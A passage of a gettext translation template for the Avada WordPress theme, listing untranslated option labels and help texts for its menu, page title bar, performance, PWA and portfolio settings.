msgid "Controls the width and height of the main menu arrow." msgstr "" #: includes/options/menu.php:337 msgid "Main Menu Highlight Bar Size" msgstr "" #: includes/options/menu.php:338 msgid "Controls the size of the menu highlight bar." msgstr "" #: includes/options/menu.php:431 msgid "Main Menu Item Padding" msgstr "" #: includes/options/menu.php:432 msgid "Controls the right padding for menu text (left on RTL)." msgstr "" #: includes/options/menu.php:468 msgid "Main Menu Item Padding On Mobile" msgstr "" #: includes/options/menu.php:469 msgid "" "Controls the right padding for menu text (left on RTL) when the normal " "desktop menu is used on mobile devices." msgstr "" #: includes/options/menu.php:499 msgid "Main Menu Drop Shadow" msgstr "" #: includes/options/menu.php:500 msgid "Turn on to display a drop shadow on menu dropdowns." msgstr "" #: includes/options/menu.php:534 msgid "Main Menu Dropdown / Legacy Mega Menu Animation" msgstr "" #: includes/options/menu.php:535 msgid "Controls the animation type for all sub-menus." msgstr "" #: includes/options/menu.php:566 msgid "Main Menu Dropdown Top Border Size" msgstr "" #: includes/options/menu.php:567 msgid "Controls top border size of dropdown menus and legacy mega menus." msgstr "" #: includes/options/menu.php:627 msgid "Main Menu Dropdown Width" msgstr "" #: includes/options/menu.php:628 msgid "Controls the width of the dropdown." msgstr "" #: includes/options/menu.php:658 msgid "Main Menu Dropdown Item Padding" msgstr "" #: includes/options/menu.php:659 msgid "Controls the top/bottom padding for dropdown menu items." msgstr "" #: includes/options/menu.php:689 msgid "Main Menu Dropdown Divider" msgstr "" #: includes/options/menu.php:690 msgid "Turn on to display a divider line on dropdown menu items." msgstr "" #: includes/options/menu.php:724 msgid "Main Menu Dropdown Indicator" msgstr "" #: includes/options/menu.php:725 msgid "Turn on to display arrow indicators next to parent level menu items." msgstr "" #: includes/options/menu.php:730 msgid "Parent + Child" msgstr "" #: includes/options/menu.php:768 msgid "Main Menu Search Icon" msgstr "" #: includes/options/menu.php:769 msgid "Turn on to display the search icon in the main menu." msgstr "" #: includes/options/menu.php:809 msgid "Main Menu Search Layout" msgstr "" #: includes/options/menu.php:810 msgid "Controls the layout of the search bar in the main menu." msgstr "" #: includes/options/menu.php:814 msgid "Drop-Down" msgstr "" #: includes/options/menu.php:815 msgid "Menu Overlay" msgstr "" #: includes/options/menu.php:860 msgid "Main Menu Icon Circle Borders" msgstr "" #: includes/options/menu.php:861 msgid "Turn on to display a circle border on the cart and search icons." msgstr "" #: includes/options/menu.php:882 msgid "Menu Highlight Label Radius" msgstr "" #: includes/options/menu.php:883 msgid "Controls the border radius of all your menu highlight labels." msgstr "" #: includes/options/menu.php:895 msgid "Main Menu Dropdown Background Color" msgstr "" #: includes/options/menu.php:896 msgid "Controls the background color of the main menu dropdown." msgstr "" #: includes/options/menu.php:921 msgid "Main Menu Dropdown Background Hover Color" msgstr "" #: includes/options/menu.php:922 msgid "Controls the background hover color of the main menu dropdown." msgstr "" #: includes/options/menu.php:947 msgid "Main Menu Dropdown Separator Color" msgstr "" #: includes/options/menu.php:948 msgid "Controls the color of the separators in the main menu dropdown." msgstr "" #: includes/options/menu.php:987 msgid "Main Menu Background Color For Header 4 & 5" msgstr "" #: includes/options/menu.php:988 msgid "Controls the background color of the main menu when using header 4 or 5." msgstr "" #: includes/options/menu.php:1013 msgid "Main Menu Typography" msgstr "" #: includes/options/menu.php:1020 msgid "Menus Typography" msgstr "" #: includes/options/menu.php:1021 msgid "These settings control the typography for all main menu top-level items." msgstr "" #: includes/options/menu.php:1087 msgid "Main Menu Text Align" msgstr "" #: includes/options/menu.php:1088 msgid "Controls the main menu text alignment for top headers 4-5 and side headers." msgstr "" #: includes/options/menu.php:1163 msgid "Main Menu Font Hover/Active Color" msgstr "" #: includes/options/menu.php:1164 msgid "" "Controls the color for main menu text hover and active states, highlight " "bar and dropdown border." msgstr "" #: includes/options/menu.php:1180 msgid "Main Menu Dropdown Font Color" msgstr "" #: includes/options/menu.php:1181 msgid "Controls the color for main menu dropdown text." msgstr "" #: includes/options/menu.php:1206 msgid "Main Menu Dropdown Font Size" msgstr "" #: includes/options/menu.php:1207 msgid "Controls the font size for main menu dropdown text." msgstr "" #: includes/options/menu.php:1236 msgid "Flyout Menu" msgstr "" #: includes/options/menu.php:1243 msgid "" "IMPORTANT NOTE: Flyout Menu Options are only available " "when using Header Layout #6 or Mobile Flyout Menu. Your current setup does " "not utilize the flyout menu." msgstr "" #: includes/options/menu.php:1271 msgid "Flyout Menu Icon Font Size" msgstr "" #: includes/options/menu.php:1272 msgid "Controls the font size for the flyout menu icons." msgstr "" #: includes/options/menu.php:1308 msgid "Flyout Menu Icon Padding" msgstr "" #: includes/options/menu.php:1309 msgid "Controls the right padding for flyout menu icons (left on RTL)." msgstr "" #: includes/options/menu.php:1345 msgid "Flyout Menu Icon Color" msgstr "" #: includes/options/menu.php:1346 msgid "Controls the color of the flyout menu icons." msgstr "" #: includes/options/menu.php:1377 msgid "Flyout Menu Icon Hover Color" msgstr "" #: includes/options/menu.php:1378 msgid "Controls the hover color of the flyout menu icons." msgstr "" #: includes/options/menu.php:1409 msgid "Flyout Menu Background Color" msgstr "" #: includes/options/menu.php:1410 msgid "Controls the background color of the flyout menu" msgstr "" #: includes/options/menu.php:1441 msgid "Flyout Menu Direction" msgstr "" #: includes/options/menu.php:1442 msgid "Controls the direction the flyout menu starts from." msgstr "" #: includes/options/menu.php:1482 msgid "Flyout Menu Item Padding" msgstr "" #: includes/options/menu.php:1483 msgid "Controls the padding between flyout menu items." msgstr "" #: includes/options/menu.php:1521 msgid "Secondary Top Menu" msgstr "" #: includes/options/menu.php:1529 msgid "" "IMPORTANT NOTE: Secondary Top Menu Options are only " "available when using Header Layouts #2-5. Your current Header Layout does " "not utilize the secondary top menu." msgstr "" #: includes/options/menu.php:1561 msgid "Secondary Menu Dropdown Width" msgstr "" #: includes/options/menu.php:1562 msgid "Controls the width of the secondary menu dropdown." msgstr "" #: includes/options/menu.php:1608 msgid "Secondary Menu Divider Color" msgstr "" #: includes/options/menu.php:1609 msgid "Controls the divider color of the first level secondary menu." msgstr "" #: includes/options/menu.php:1650 msgid "Secondary Menu Dropdown Background Color" msgstr "" #: includes/options/menu.php:1651 msgid "Controls the background color of the secondary menu dropdown." msgstr "" #: includes/options/menu.php:1692 msgid "Secondary Menu Dropdown Background Hover Color" msgstr "" #: includes/options/menu.php:1693 msgid "Controls the background hover color of the secondary menu dropdown." msgstr "" #: includes/options/menu.php:1734 msgid "Secondary Menu Dropdown Separator Color" msgstr "" #: includes/options/menu.php:1735 msgid "Controls the color of the separators in the secondary menu dropdown." msgstr "" #: includes/options/menu.php:1776 msgid "Secondary Top Menu Typography" msgstr "" #: includes/options/menu.php:1809 msgid "Secondary Menu Font Size" msgstr "" #: includes/options/menu.php:1810 msgid "Controls the font size for secondary menu text." msgstr "" #: includes/options/menu.php:1852 msgid "Secondary Menu Line Height" msgstr "" #: includes/options/menu.php:1853 msgid "Controls the line height for secondary menu." msgstr "" #: includes/options/menu.php:1908 msgid "Secondary Menu Font Color" msgstr "" #: includes/options/menu.php:1909 msgid "Controls the color for secondary menu text." msgstr "" #: includes/options/menu.php:1950 msgid "Secondary Menu Dropdown Font Color" msgstr "" #: includes/options/menu.php:1951 msgid "Controls the color for secondary menu dropdown text." msgstr "" #: includes/options/menu.php:1991 msgid "Secondary Menu Dropdown Font Hover Color" msgstr "" #: includes/options/menu.php:1992 msgid "Controls the hover color for secondary menu dropdown text." msgstr "" #: includes/options/menu.php:2035 msgid "Mobile Menu" msgstr "" #: includes/options/menu.php:2043 msgid "" "IMPORTANT NOTE: Please enable responsive mode. Mobile " "menus are only available when you're using the responsive mode. To enable " "it please go to the \"Responsive\" section and set the \"Responsive " "Design\" option to ON." msgstr "" #: includes/options/menu.php:2056 msgid "" "IMPORTANT NOTE: Because of the design of your Header " "Layout #6, only a few options are available here. More options are " "available when using Header Layouts #1-5 or 7. The rest of the options for " "Header Layout #6 are on the Flyout Menu and Main Menu tab." msgstr "" #: includes/options/menu.php:2073 msgid "Mobile Menu Design Style" msgstr "" #: includes/options/menu.php:2074 msgid "" "Controls the design of the mobile menu. Flyout design style only allows " "parent level menu items." msgstr "" #: includes/options/menu.php:2081 includes/options/performance.php:347 msgid "Modern" msgstr "" #: includes/options/menu.php:2082 msgid "Flyout" msgstr "" #: includes/options/menu.php:2137 msgid "Mobile Menu Icons Top Margin" msgstr "" #: includes/options/menu.php:2138 msgid "" "Controls the top margin for the icons in the modern and flyout mobile menu " "design." msgstr "" #: includes/options/menu.php:2188 msgid "Mobile Menu Dropdown Item Height" msgstr "" #: includes/options/menu.php:2189 msgid "Controls the height of each dropdown menu item." msgstr "" #: includes/options/menu.php:2239 msgid "Mobile Menu Dropdown Slide Outs" msgstr "" #: includes/options/menu.php:2240 msgid "Turn on to allow dropdown sections to slide out when tapped." msgstr "" #: includes/options/menu.php:2295 msgid "Display Mobile Menu Search Icon/Field" msgstr "" #: includes/options/menu.php:2296 msgid "Turn on to display the search icon/field in the mobile menu." msgstr "" #: includes/options/menu.php:2328 msgid "Mobile Menu Sub-Menu Indicator" msgstr "" #: includes/options/menu.php:2329 msgid "Turn on to display the mobile menu sub-menu indicator: \"-\"." msgstr "" #: includes/options/menu.php:2363 msgid "Controls the background color of the header on mobile devices." msgstr "" #: includes/options/menu.php:2404 msgid "Mobile Archive Header Background Color" msgstr "" #: includes/options/menu.php:2405 msgid "Controls the background color of the archive page header on mobile devices." msgstr "" #: includes/options/menu.php:2431 msgid "Mobile Menu Background Color" msgstr "" #: includes/options/menu.php:2432 msgid "" "Controls the background color of the mobile menu dropdown and classic " "mobile menu box." msgstr "" #: includes/options/menu.php:2477 msgid "Mobile Menu Background Hover Color" msgstr "" #: includes/options/menu.php:2478 msgid "Controls the background hover color of the mobile menu dropdown." msgstr "" #: includes/options/menu.php:2523 msgid "Mobile Menu Border Color" msgstr "" #: includes/options/menu.php:2524 msgid "" "Controls the border and divider colors of the mobile menu dropdown and " "classic mobile menu box." msgstr "" #: includes/options/menu.php:2569 msgid "Mobile Menu Toggle Color" msgstr "" #: includes/options/menu.php:2570 msgid "Controls the color of the mobile menu toggle icon." msgstr "" #: includes/options/menu.php:2615 includes/options/menu.php:2634 msgid "Mobile Menu Typography" msgstr "" #: includes/options/menu.php:2635 msgid "These settings control the typography for mobile menu." msgstr "" #: includes/options/menu.php:2749 msgid "Mobile Menu Hover Color" msgstr "" #: includes/options/menu.php:2750 msgid "" "Controls the hover color of the mobile menu item. Also, used to highlight " "current mobile menu item." msgstr "" #: includes/options/menu.php:2785 msgid "Mobile Menu Text Align" msgstr "" #: includes/options/menu.php:2786 msgid "Controls the mobile menu text alignment." msgstr "" #: includes/options/menu.php:2876 msgid "" "IMPORTANT NOTE: Legacy Mega Menu Options are only " "available when using Header Layouts #1-5. Your current Header Layout #6 " "does not utilize the mega menu." msgstr "" #: includes/options/menu.php:2892 #. translators: %1$s: Avada library URL. msgid "" "IMPORTANT NOTE: For more flexibility and a modern, more " "performant Mega Menu setup, we recommend using the Library Mega Menus. To " "create a Mega Menu, visit the Avada " "Library." msgstr "" #: includes/options/menu.php:2899 msgid "" "IMPORTANT NOTE: Legacy Mega Menu is disabled in Advanced > " "Theme Features section. Please enable it to see the options." msgstr "" #: includes/options/menu.php:2911 msgid "Legacy Mega Menu Wrapper Max Width" msgstr "" #: includes/options/menu.php:2912 msgid "" "Controls the max width of the legacy mega menu. On boxed side header " "layouts, \"Viewport Width\" will match \"Site Width\"." msgstr "" #: includes/options/menu.php:2971 msgid "Legacy Mega Menu Max-Width" msgstr "" #: includes/options/menu.php:2972 msgid "Controls the max width of the legacy mega menu." msgstr "" #: includes/options/menu.php:3019 msgid "Legacy Mega Menu Interior Content Width" msgstr "" #: includes/options/menu.php:3020 msgid "" "For full width mega menus select if the interior menu content is contained " "to site width or 100% width." msgstr "" #: includes/options/menu.php:3071 msgid "Legacy Mega Menu Column Title Size" msgstr "" #: includes/options/menu.php:3072 msgid "Controls the font size for mega menu column titles." msgstr "" #: includes/options/menu.php:3097 msgid "Legacy Mega Menu Dropdown Item Padding" msgstr "" #: includes/options/menu.php:3098 msgid "Controls the top/bottom padding for mega menu dropdown items." msgstr "" #: includes/options/menu.php:3128 msgid "Legacy Mega Menu Item Divider" msgstr "" #: includes/options/menu.php:3129 msgid "Turn on to display a divider between mega menu dropdown items." msgstr "" #: includes/options/menu.php:3164 msgid "Main Menu Icons" msgstr "" #: includes/options/menu.php:3171 msgid "" "IMPORTANT NOTE: Icons are available for both the main and " "dropdown menus. However, the options below only apply to the main menu. " "Dropdown menu icons do not use these options below, they follow the " "dropdown font size and color. The icons themselves can be added to your " "menu items in the Appearance > Menus section." msgstr "" #: includes/options/menu.php:3176 msgid "Main Menu Icon Position" msgstr "" #: includes/options/menu.php:3177 msgid "Controls the main menu icon position." msgstr "" #: includes/options/menu.php:3217 msgid "Main Menu Icon Size" msgstr "" #: includes/options/menu.php:3218 msgid "Controls the size of the top-level menu icons." msgstr "" #: includes/options/menu.php:3235 msgid "Main Menu Icon Color" msgstr "" #: includes/options/menu.php:3236 msgid "Controls the color of the top-level main menu icons." msgstr "" #: includes/options/menu.php:3249 msgid "Main Menu Icon Hover Color" msgstr "" #: includes/options/menu.php:3250 msgid "Controls the hover color of the top-level main menu icons." msgstr "" #: includes/options/menu.php:3263 msgid "Mega Menu Thumbnail Size" msgstr "" #: includes/options/menu.php:3264 msgid "" "Controls the width and height of the top-level mega menu thumbnails. Use " "\"auto\" for automatic resizing if you added either width or height." msgstr "" #: includes/options/page_title_bar.php:65 msgid "Controls how the page title bar displays." msgstr "" #: includes/options/page_title_bar.php:96 msgid "Breadcrumbs / Search Bar Content Display" msgstr "" #: includes/options/page_title_bar.php:97 msgid "Controls what displays in the breadcrumbs area. " msgstr "" #: includes/options/page_title_bar.php:120 msgid "Turn on to display the page title bar headings." msgstr "" #: includes/options/page_title_bar.php:137 msgid "Page Title Bar Styling" msgstr "" #: includes/options/page_title_bar.php:146 msgid "" "Turn on to have the page title bar area display at 100% width according to " "the viewport size. Turn off to follow site width." msgstr "" #: includes/options/page_title_bar.php:170 msgid "Controls the height of the page title bar on desktop." msgstr "" #: includes/options/page_title_bar.php:185 msgid "Controls the height of the page title bar on mobile." msgstr "" #: includes/options/page_title_bar.php:222 msgid "Controls the background color of the page title bar." msgstr "" #: includes/options/page_title_bar.php:238 msgid "Controls the border colors of the page title bar." msgstr "" #: includes/options/page_title_bar.php:268 msgid "Controls the font size for the page title bar main heading." msgstr "" #: includes/options/page_title_bar.php:285 msgid "Page Title Bar Heading Line Height" msgstr "" #: includes/options/page_title_bar.php:286 msgid "Controls the line height for the page title bar main heading." msgstr "" #: includes/options/page_title_bar.php:304 msgid "Controls the text color of the page title bar main heading." msgstr "" #: includes/options/page_title_bar.php:320 msgid "Controls the font size for the page titlebar subheading." msgstr "" #: includes/options/page_title_bar.php:338 msgid "Controls the text color of the page title bar subheading." msgstr "" #: includes/options/page_title_bar.php:354 msgid "" "Choose the title and subhead text alignment. Breadcrumbs / search field " "will be on opposite side for left / right alignment and below the title for " "center alignment." msgstr "" #: includes/options/page_title_bar.php:376 #: includes/options/page_title_bar.php:384 msgid "Page Title Bar Background Image" msgstr "" #: includes/options/page_title_bar.php:385 msgid "" "Select an image for the page title bar background. If left empty, the page " "title bar background color will be used." msgstr "" #: includes/options/page_title_bar.php:402 msgid "Retina Page Title Bar Background Image" msgstr "" #: includes/options/page_title_bar.php:403 msgid "" "Select an image for the retina version of the page title bar background. It " "should be exactly 2x the size of the page title bar background." msgstr "" #: includes/options/page_title_bar.php:436 msgid "" "Turn on to have the page title bar background image display at 100% in " "width and height according to the window size." msgstr "" #: includes/options/page_title_bar.php:460 msgid "Turn on to use a parallax scrolling effect on the background image." msgstr "" #: includes/options/page_title_bar.php:483 msgid "Fading Animation" msgstr "" #: includes/options/page_title_bar.php:484 msgid "Turn on to have the page title text fade on scroll." msgstr "" #: includes/options/performance.php:58 #. translators: Critical CSS page link msgid "" "Set to 'on' to enable the generation of critical CSS. Once turned on you " "can manage it from the critical CSS " "page." msgstr "" #: includes/options/performance.php:60 msgid "" "Set to 'on' to enable the generation of critical CSS. Once enabled, a " "critical CSS page will be added to the Avada dashboard." msgstr "" #: includes/options/performance.php:72 msgid "Iframe Lazy Loading" msgstr "" #: includes/options/performance.php:73 msgid "" "Choose your preferred lazy loading method for your website's iframe to " "improve performance." msgstr "" #: includes/options/performance.php:79 includes/options/performance.php:450 msgid "WordPress" msgstr "" #: includes/options/performance.php:85 msgid "Font Face Rendering" msgstr "" #: includes/options/performance.php:86 msgid "" "Choose \"Swap All\" for faster rendering with possible flash of unstyled " "text (FOUT) or \"Block\" for clean rendering but longer wait time until " "first paint. \"Swap Non-Icon Fonts\" will use a mix of the first 2 methods " "(\"swap\" for text fonts and \"block\" for icon-fonts)." msgstr "" #: includes/options/performance.php:92 msgid "Swap Non-Icon Fonts" msgstr "" #: includes/options/performance.php:93 msgid "Swap All" msgstr "" #: includes/options/performance.php:98 msgid "Preload Key Fonts" msgstr "" #: includes/options/performance.php:99 msgid "" "Make a selection to prioritize fetching resources that will be requested " "later in page load. This improves page load time as the browser caches " "preloaded resources so they are available immediately when needed." msgstr "" #: includes/options/performance.php:106 msgid "Icon Fonts" msgstr "" #: includes/options/performance.php:112 msgid "Preload Google Font Variants" msgstr "" #: includes/options/performance.php:113 msgid "" "Select the variants of Google fonts that should get preloaded. Leave empty " "to preload all variants." msgstr "" #: includes/options/performance.php:154 msgid "Preload Google Font Subsets" msgstr "" #: includes/options/performance.php:155 msgid "" "Select the subsets of Google fonts that should get preloaded. Leave empty " "to preload all subsets." msgstr "" #: includes/options/performance.php:161 includes/options/performance.php:178 msgid "Latin" msgstr "" #: includes/options/performance.php:162 msgid "Bengali" msgstr "" #: includes/options/performance.php:163 msgid "Chinese Hongkong" msgstr "" #: includes/options/performance.php:164 msgid "Chinese Simplified" msgstr "" #: includes/options/performance.php:165 msgid "Chinese Traditional" msgstr "" #: includes/options/performance.php:166 msgid "Cyrillic" msgstr "" #: includes/options/performance.php:167 msgid "Cyrillic Extended" msgstr "" #: includes/options/performance.php:168 msgid "Devanagari" msgstr "" #: includes/options/performance.php:169 msgid "Greek" msgstr "" #: includes/options/performance.php:170 msgid "Greek Extended" msgstr "" #: includes/options/performance.php:171 msgid "Gujarati" msgstr "" #: includes/options/performance.php:172 msgid "Gurmukhi" msgstr "" #: includes/options/performance.php:173 msgid "Hebrew" msgstr "" #: includes/options/performance.php:174 msgid "Japanese" msgstr "" #: includes/options/performance.php:175 msgid "Kannada" msgstr "" #: includes/options/performance.php:176 msgid "Khmer" msgstr "" #: includes/options/performance.php:177 msgid "Korean" msgstr "" #: includes/options/performance.php:179 msgid "Latin Extended" msgstr "" #: includes/options/performance.php:180 msgid "Malayalam" msgstr "" #: includes/options/performance.php:181 msgid "Myanmar" msgstr "" #: includes/options/performance.php:182 msgid "Oriya" msgstr "" #: includes/options/performance.php:183 msgid "Sinhala" msgstr "" #: includes/options/performance.php:184 msgid "Tamil" msgstr "" #: includes/options/performance.php:185 msgid "Telugu" msgstr "" #: includes/options/performance.php:186 msgid "Thai" msgstr "" #: includes/options/performance.php:187 msgid "Tibetan" msgstr "" #: includes/options/performance.php:188 msgid "Vietnamese" msgstr "" #: includes/options/performance.php:206 msgid "Emojis Script" msgstr "" #: includes/options/performance.php:207 msgid "" "If you don't use emojis you can improve performance by removing WordPress' " "emojis script." msgstr "" #: includes/options/performance.php:219 msgid "jQuery Migrate Script" msgstr "" #: includes/options/performance.php:220 msgid "" "If you are not using any deprecated jQuery code, you can disable this " "script to improve performance." msgstr "" #: includes/options/performance.php:232 msgid "Load jQuery In Footer" msgstr "" #: includes/options/performance.php:233 msgid "" "Set to 'on' to defer loading of jQuery to the footer of the page. This will " "only take effect if no other jQuery dependent scripts are added to the " "head. Turning this on can cause JS scripts to break, use with caution." msgstr "" #: includes/options/performance.php:241 msgid "Load Stylesheets In Footer" msgstr "" #: includes/options/performance.php:242 msgid "" "Set to 'on' to defer loading of the stylesheets to the footer of the page. " "This improves page load time by making the styles non-render-blocking. " "Depending on the connection speed, a flash of unstyled content (FOUC) might " "occur." msgstr "" #: includes/options/performance.php:251 msgid "" "IMPORTANT NOTE: .htaccess doesn't exist or it is not " "writable." msgstr "" #: includes/options/performance.php:256 msgid "Enable Gzip Compression" msgstr "" #: includes/options/performance.php:257 msgid "" "Set to 'on' to add Gzip Compression rules to the .htaccess file. " "IMPORTANT: This option works only on Apache web servers " "with mod_gzip and mod_deflate enabled." msgstr "" #: includes/options/performance.php:265 msgid "Enable Video Facade" msgstr "" #: includes/options/performance.php:266 msgid "" "Use video facade in order to load video player only when video is played. " "IMPORTANT: This option is only applied to YouTube and " "Vimeo elements." msgstr "" #: includes/options/performance.php:278 msgid "Clear Object Cache " msgstr "" #: includes/options/performance.php:279 msgid "" "Set to 'on' to clear WP's object cache on post edit, post deletion, and " "Avada Form Entries page view. This is useful, if your setup or hoster uses " "persistent object caching, to make sure that queries update when you add or " "remove posts." msgstr "" #: includes/options/performance.php:293 msgid "SVG Media Upload" msgstr "" #: includes/options/performance.php:294 msgid "" "Enable upload of SVG files and improve performance through their smaller " "image and logo file size." msgstr "" #: includes/options/performance.php:308 #. translators: "System Statuss" page link. msgid "" "Select a modern format to use when uploading new images to the media " "library. If you choose AVIF but your server is not able to convert to this " "format, it will automatically fall back to webP. You can also convert all " "your existing images on the %s page." msgstr "" #: includes/options/performance.php:314 msgid "WebP" msgstr "" #: includes/options/performance.php:315 msgid "AVIF" msgstr "" #: includes/options/performance.php:321 msgid "Keep Original Upload Images" msgstr "" #: includes/options/performance.php:322 msgid "" "If enabled, not only the image with its original upload format will be " "kept, but also the created thumbnails. This will increase the filesystem " "storage use of your images." msgstr "" #: includes/options/performance.php:341 msgid "Display Image Format" msgstr "" #: includes/options/performance.php:342 msgid "" "If set to \"original\", Avada will try to load the images in their original " "upload format. If set to \"modern\", it will try to load the images in the " "upload image format you set above." msgstr "" #: includes/options/performance.php:348 msgid "Original" msgstr "" #: includes/options/performance.php:366 msgid "WordPress Image Quality" msgstr "" #: includes/options/performance.php:368 #. translators: "Regenerate Thumbnails" plugin link. msgid "" "Controls the quality of the generated image sizes for every uploaded image. " "Ranges between 0 and 100 percent. Higher values lead to better image " "quality but also higher file sizes. NOTE: After changing " "this value, please install and run the %s plugin once." msgstr "" #: includes/options/performance.php:381 msgid "WordPress webP Image Quality" msgstr "" #: includes/options/performance.php:383 #. translators: "Regenerate Thumbnails" plugin link. msgid "" "Controls the quality of the generated image sizes for every uploaded webP " "image. Ranges between 0 and 100 percent. Higher values lead to better image " "quality but also higher file sizes. NOTE: After changing " "this value, please install and run the %s plugin once." msgstr "" #: includes/options/performance.php:403 msgid "Avada Image Sizes" msgstr "" #: includes/options/performance.php:404 msgid "" "Choose which Avada image sizes should be created for every image uploaded " "to the Media Library. NOTE: Image sizes used in legacy " "areas/features of Avada are marked with (L). When you remove image sizes " "here, please check your site to make sure all layouts display correctly. " "After changing this value, please install and run the %s plugin once." msgstr "" #: includes/options/performance.php:410 msgid "200px Width" msgstr "" #: includes/options/performance.php:411 msgid "400px Width" msgstr "" #: includes/options/performance.php:412 msgid "600px Width" msgstr "" #: includes/options/performance.php:413 msgid "800px Width" msgstr "" #: includes/options/performance.php:414 msgid "1200px Width" msgstr "" #: includes/options/performance.php:415 msgid "Blog Large (L)" msgstr "" #: includes/options/performance.php:416 msgid "Blog Medium (L)" msgstr "" #: includes/options/performance.php:417 msgid "Recent Posts (L)" msgstr "" #: includes/options/performance.php:418 msgid "Recent Works (L)" msgstr "" #: includes/options/performance.php:419 msgid "Portfolio Full (L)" msgstr "" #: includes/options/performance.php:420 msgid "Portfolio 1 Col (L)" msgstr "" #: includes/options/performance.php:421 msgid "Portfolio 2 Col (L)" msgstr "" #: includes/options/performance.php:422 msgid "Portfolio 3 Col (L)" msgstr "" #: includes/options/performance.php:423 msgid "Portfolio 5 Col (L)" msgstr "" #: includes/options/performance.php:429 msgid "WordPress Big Image Size Threshold" msgstr "" #: includes/options/performance.php:430 msgid "" "Sets the threshold for image height and width, above which WordPress will " "scale down newly uploaded images to this values as max-width or max-height. " "Set to \"0\" to disable the threshold completely." msgstr "" #: includes/options/performance.php:443 msgid "Image Lazy Loading" msgstr "" #: includes/options/performance.php:444 msgid "" "Choose your preferred lazy loading method for your website's images to " "improve performance. IMPORTANT: The WordPress native " "method can cause issues with dynamically loaded elements like image " "carousels." msgstr "" #: includes/options/performance.php:456 msgid "Dynamic CSS & JS" msgstr "" #: includes/options/performance.php:462 msgid "CSS Compiling Method" msgstr "" #: includes/options/performance.php:463 msgid "" "Select \"File\" mode to compile the dynamic CSS to files (a separate file " "will be created for each of your pages & posts inside of the " "uploads/fusion-styles folder), \"Database\" mode to cache the CSS in your " "database, or select \"Disabled\" to disable." msgstr "" #: includes/options/performance.php:475 msgid "Combine Third Party CSS Files" msgstr "" #: includes/options/performance.php:476 msgid "" "Third party CSS files of the selected plugins will be combined into Avada's " "main stylesheet.
    IMPORTANT: Enabling this option is not " "recommended when you are are using third party file combining services, " "like cache plugins. When this option is changed, Avada Caches have to be " "reset for changes to apply." msgstr "" #: includes/options/performance.php:482 msgid "The Events Calendar" msgstr "" #: includes/options/performance.php:483 msgid "Slider Revolutiln" msgstr "" #: includes/options/performance.php:485 msgid "Contact Form 7" msgstr "" #: includes/options/performance.php:499 msgid "Load Media-Queries Files Asynchronously" msgstr "" #: includes/options/performance.php:500 msgid "" "When enabled, the CSS media-queries will be enqueued separately and then " "loaded asynchronously, improving performance on mobile and desktop." msgstr "" #: includes/options/performance.php:507 msgid "Enable Critical CSS" msgstr "" #: includes/options/performance.php:518 #. translators: URL for the critical CSS page. msgid "Cache Server IP" msgstr "" #: includes/options/performance.php:519 msgid "" "For unique cases where you are using CloudFlare and a cache server, ex: " "varnish cache. Enter your cache server IP to clear the Global Options " "dynamic CSS cache. Consult with your server admin for help." msgstr "" #: includes/options/performance.php:527 msgid "" "IMPORTANT NOTE: JS Compiler is disabled. File does not " "exist or access is restricted." msgstr "" #: includes/options/performance.php:532 msgid "Enable JS Compiler" msgstr "" #: includes/options/performance.php:533 msgid "" "By default all the JavaScript files are combined. Disabling the JS compiler " "will load non-combined JavaScript files. This will have an impact on the " "performance of your site." msgstr "" #: includes/options/performance.php:542 #. translators: %1$s: uploads/fusion-styles. %2$s: #. uploads/fusion-scripts. msgid "" "Resets all Dynamic CSS & Dynamic JS, cleans-up the database and deletes the " "%1$s and %2$s folders. When resetting the caches on the main site of a " "multisite installation, caches for all sub-sites will be reset. IMPORTANT " "NOTE: On large multisite installations with a low PHP timeout setting, " "bulk-resetting the caches may timeout." msgstr "" #: includes/options/performance.php:542 msgid "" "Resets all Dynamic CSS & Dynamic JS, cleans-up the database and deletes the " "%1$s and %2$s folders." msgstr "" #: includes/options/performance.php:552 msgid "Progressive Web App" msgstr "" #: includes/options/performance.php:561 #. translators: URL for the plugins page. msgid "" "IMPORTANT NOTE: To use the Avada PWA feature you need to " "install and activate the latest version of the PWA plugin. Please visit the Avada Plugins page to install and activate the " "plugin and then refresh Global Options to edit the options." msgstr "" #: includes/options/performance.php:569 msgid "" "IMPORTANT NOTE: To use the Avada PWA feature your site " "must use SSL (HTTPS). For more information about the options in this " "section, please see our PWA documentation page. To learn more " "about caching strategies and their use in general you can read this article." msgstr "" #: includes/options/performance.php:574 msgid "Enable Progressive Web App" msgstr "" #: includes/options/performance.php:575 msgid "" "Enable this option if you want to enable the Progressive Web App feature " "and options on your website." msgstr "" #: includes/options/performance.php:582 msgid "Cache-First strategy file types" msgstr "" #: includes/options/performance.php:583 msgid "" "File types added in this list will be cached in the browser. Subsequent " "page requests will use the cached assets. Use this for static assets that " "don't change like images and fonts." msgstr "" #: includes/options/performance.php:599 msgid "Network-First strategy file types" msgstr "" #: includes/options/performance.php:600 msgid "" "File types added in this list will be cached in the browser. Subsequent " "page requests will first try to get a more recent version of these files " "from the network, and fallback to the cached files in case the network is " "unreachable. If your site's content gets updated often we recommend you can " "use this for your content." msgstr "" #: includes/options/performance.php:616 msgid "Stale-While-Revalidating strategy file types" msgstr "" #: includes/options/performance.php:617 msgid "" "Any file types added here will be served with a cache-first strategy, and " "after the page has been loaded the caches will be updated with more recent " "versions of the selected file types from the network. Use this for assets " "that may get updated but having their latest version is not critical." msgstr "" #: includes/options/performance.php:633 msgid "App Splash Screen Logo" msgstr "" #: includes/options/performance.php:634 msgid "" "Logo displayed for your website at 512px x 512px when installing as an app. " "Logo image must be in PNG format." msgstr "" #: includes/options/performance.php:649 msgid "App Display Mode" msgstr "" #: includes/options/performance.php:650 msgid "" "If the user installs your site as an app, select how the app will behave. " "For more information about these options please refer to this document." msgstr "" #: includes/options/performance.php:655 msgid "Fullscreen" msgstr "" #: includes/options/performance.php:656 msgid "Standalone" msgstr "" #: includes/options/performance.php:657 msgid "Minimal UI" msgstr "" #: includes/options/performance.php:691 msgid "App Theme Color" msgstr "" #: includes/options/performance.php:692 msgid "" "Select a color that will be used for the header of your app, as well as the " "browser toolbar-color on mobile devices." msgstr "" #: includes/options/portfolio.php:46 msgid "General Portfolio" msgstr "" #: includes/options/portfolio.php:53 msgid "Portfolio Archive Layout" msgstr "" #: includes/options/portfolio.php:54 msgid "Controls the layout for the portfolio archive pages." msgstr "" #: includes/options/portfolio.php:71 msgid "Portfolio Archive Featured Image Size" msgstr "" #: includes/options/portfolio.php:72 msgid "" "Controls if the featured image size is fixed (cropped) or auto (full image " "ratio) for portfolio archive pages. IMPORTANT: Fixed works " "best with a standard 940px site width. Auto works best with larger site " "widths." msgstr "" #: includes/options/portfolio.php:96 msgid "Portfolio Archive Number of Columns" 